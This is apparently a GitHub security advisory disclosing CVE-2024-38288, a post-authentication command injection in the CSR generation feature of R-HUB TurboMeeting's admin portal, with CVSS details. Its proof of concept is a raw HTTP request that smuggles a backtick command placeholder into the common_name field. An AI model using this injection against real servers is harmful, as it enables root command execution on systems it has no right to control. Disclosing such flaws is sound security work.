Skip to content

TurboMeeting: Post-Authentication Command Injection

High
rcorrea35 published GHSA-gx6g-8mvx-3q5c Jul 24, 2024

Package

TurboMeeting (R-HUB Communications)

Affected versions

< 8.x

Patched versions

None

Description

Summary

The Certificate Signing Request (CSR) feature in the admin portal of the application is vulnerable to command injection. This vulnerability could allow authenticated admin users to execute arbitrary commands on the underlying server by injecting malicious input into the CSR generation process. The application failed to properly sanitize user-supplied input before using it in a command executed privileges.

Severity

High - An attacker could gain access to execute arbitrary commands on the server with root privileges.

Proof of Concept

POST /as/wapi/generate_csrHTTP/1.1
Host: myonlinemeeting
connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 187
sid=SID_HERE&common_name=1"%20out%20/dev/null"`COMMAND_HERE`&company_name=1&state=1&city=1&country=US&submit=Generate+CSR

Further Analysis

To address this vulnerability, a strict input validation and sanitization mechanism to ensure that user-supplied data is properly sanitized before being used in command execution should be implemented.

Timeline

Date reported: 4/17/2024
Date fixed:
Date disclosed: 7/24/2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2024-38288

Weaknesses

Credits